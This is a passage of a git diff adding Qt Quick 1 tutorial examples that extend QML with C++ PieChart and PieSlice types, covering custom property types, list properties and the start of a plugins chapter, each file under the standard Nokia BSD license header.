+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include "pieslice.h"
+
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // this doesn't need to disable QGraphicsItem::ItemHasNoContents
+ // anymore since the drawing is now done in PieSlice
+}
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+PieSlice *PieChart::pieSlice() const
+{
+ return m_pieSlice;
+}
+
+//![0]
+void PieChart::setPieSlice(PieSlice *pieSlice)
+{
+ m_pieSlice = pieSlice;
+ pieSlice->setParentItem(this);
+}
+//![0]
+
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h
new file mode 100644
index 00000000..3cc7d7dc
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+#include <QDeclarativeItem>
+
+class PieSlice;
+
+//![0]
+class PieChart : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(PieSlice* pieSlice READ pieSlice WRITE setPieSlice)
+//![0]
+ Q_PROPERTY(QString name READ name WRITE setName)
+
+//![1]
+public:
+//![1]
+
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+//![2]
+ PieSlice *pieSlice() const;
+ void setPieSlice(PieSlice *pieSlice);
+//![2]
+
+private:
+ QString m_name;
+ PieSlice *m_pieSlice;
+
+//![3]
+};
+//![3]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp
new file mode 100644
index 00000000..201791d0
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "pieslice.h"
+
+#include <QPainter>
+
+PieSlice::PieSlice(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+
+QColor PieSlice::color() const
+{
+ return m_color;
+}
+
+void PieSlice::setColor(const QColor &color)
+{
+ m_color = color;
+}
+
+void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), 90 * 16, 290 * 16);
+}
+
diff --git a/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h
new file mode 100644
index 00000000..81da6218
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIESLICE_H
+#define PIESLICE_H
+
+#include <QDeclarativeItem>
+#include <QColor>
+
+//![0]
+class PieSlice : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+
+public:
+ PieSlice(QDeclarativeItem *parent = 0);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+private:
+ QColor m_color;
+};
+//![0]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/app.qml b/examples/declarative/tutorials/extending/chapter5-listproperties/app.qml
new file mode 100644
index 00000000..5d15b211
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/app.qml
@@ -0,0 +1,70 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import Charts 1.0
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ PieChart {
+ anchors.centerIn: parent
+ width: 100; height: 100
+
+ slices: [
+ PieSlice {
+ anchors.fill: parent
+ color: "red"
+ fromAngle: 0; angleSpan: 110
+ },
+ PieSlice {
+ anchors.fill: parent
+ color: "black"
+ fromAngle: 110; angleSpan: 50
+ },
+ PieSlice {
+ anchors.fill: parent
+ color: "blue"
+ fromAngle: 160; angleSpan: 100
+ }
+ ]
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro b/examples/declarative/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro
new file mode 100644
index 00000000..c3f5402a
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro
@@ -0,0 +1,7 @@
+QT += declarative
+
+HEADERS += piechart.h \
+ pieslice.h
+SOURCES += piechart.cpp \
+ pieslice.cpp \
+ main.cpp
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/main.cpp b/examples/declarative/tutorials/extending/chapter5-listproperties/main.cpp
new file mode 100644
index 00000000..6c9c92b9
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/main.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include "pieslice.h"
+
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+ qmlRegisterType<PieSlice>("Charts", 1, 0, "PieSlice");
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("app.qml"));
+ view.show();
+ return app.exec();
+}
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.cpp b/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.cpp
new file mode 100644
index 00000000..fe791214
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.cpp
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include "pieslice.h"
+
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+}
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+//![0]
+QDeclarativeListProperty<PieSlice> PieChart::slices()
+{
+ return QDeclarativeListProperty<PieSlice>(this, 0, &PieChart::append_slice);
+}
+
+void PieChart::append_slice(QDeclarativeListProperty<PieSlice> *list, PieSlice *slice)
+{
+ PieChart *chart = qobject_cast<PieChart *>(list->object);
+ if (chart) {
+ slice->setParentItem(chart);
+ chart->m_slices.append(slice);
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.h b/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.h
new file mode 100644
index 00000000..0893f8b1
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/piechart.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+#include <QDeclarativeItem>
+
+class PieSlice;
+
+//![0]
+class PieChart : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<PieSlice> slices READ slices)
+//![0]
+ Q_PROPERTY(QString name READ name WRITE setName)
+
+//![1]
+public:
+//![1]
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+//![2]
+ QDeclarativeListProperty<PieSlice> slices();
+
+private:
+ static void append_slice(QDeclarativeListProperty<PieSlice> *list, PieSlice *slice);
+
+ QString m_name;
+ QList<PieSlice *> m_slices;
+};
+//![2]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.cpp b/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.cpp
new file mode 100644
index 00000000..07614c7e
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.cpp
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "pieslice.h"
+
+#include <QPainter>
+
+PieSlice::PieSlice(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+
+QColor PieSlice::color() const
+{
+ return m_color;
+}
+
+void PieSlice::setColor(const QColor &color)
+{
+ m_color = color;
+}
+
+int PieSlice::fromAngle() const
+{
+ return m_fromAngle;
+}
+
+void PieSlice::setFromAngle(int angle)
+{
+ m_fromAngle = angle;
+}
+
+int PieSlice::angleSpan() const
+{
+ return m_angleSpan;
+}
+
+void PieSlice::setAngleSpan(int angle)
+{
+ m_angleSpan = angle;
+}
+
+void PieSlice::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), m_fromAngle * 16, m_angleSpan * 16);
+}
+
diff --git a/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.h b/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.h
new file mode 100644
index 00000000..379244bb
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIESLICE_H
+#define PIESLICE_H
+
+#include <QDeclarativeItem>
+#include <QColor>
+
+//![0]
+class PieSlice : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(int fromAngle READ fromAngle WRITE setFromAngle)
+ Q_PROPERTY(int angleSpan READ angleSpan WRITE setAngleSpan)
+//![0]
+
+public:
+ PieSlice(QDeclarativeItem *parent = 0);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ int fromAngle() const;
+ void setFromAngle(int angle);
+
+ int angleSpan() const;
+ void setAngleSpan(int span);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+private:
+ QColor m_color;
+ int m_fromAngle;
+ int m_angleSpan;
+};
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter6-plugins/app.qml b/examples/declarative/tutorials/extending/chapter6-plugins/app.qml
new file mode 100644
index 00000000..48c7f0f4
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter6-plugins/app.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
